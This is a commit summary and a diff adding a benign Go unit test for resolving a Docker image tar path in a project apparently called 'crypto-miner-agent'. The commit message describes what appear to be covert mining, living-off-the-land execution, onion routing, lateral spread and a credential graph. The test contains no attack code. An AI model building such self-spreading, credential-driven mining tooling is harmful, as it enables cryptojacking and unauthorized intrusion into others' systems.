Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/image_tar_test.go

@@ -0,0 +1,37 @@
+package miner
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestResolveImageTarFromEnv(t *testing.T) {
+	dir := t.TempDir()
+	tarPath := filepath.Join(dir, "worker.tar")
+	if err := os.WriteFile(tarPath, []byte("fake-tar"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", tarPath)
+	defer SetImageTarFetcher(nil)
+
+	got, err := ResolveImageTar(config.RuntimeConfig{})
+	if err != nil {
+		t.Fatalf("ResolveImageTar: %v", err)
+	}
+	if got != tarPath {
+		t.Fatalf("got %q want %q", got, tarPath)
+	}
+	if !HasImageTarPolicy(config.RuntimeConfig{}) {
+		t.Fatal("HasImageTarPolicy should be true")
+	}
+}
+
+func TestResolveImageTarMissing(t *testing.T) {
+	t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
+	if _, err := ResolveImageTar(config.RuntimeConfig{}); err == nil {
+		t.Fatal("expected error without tar")
+	}
+}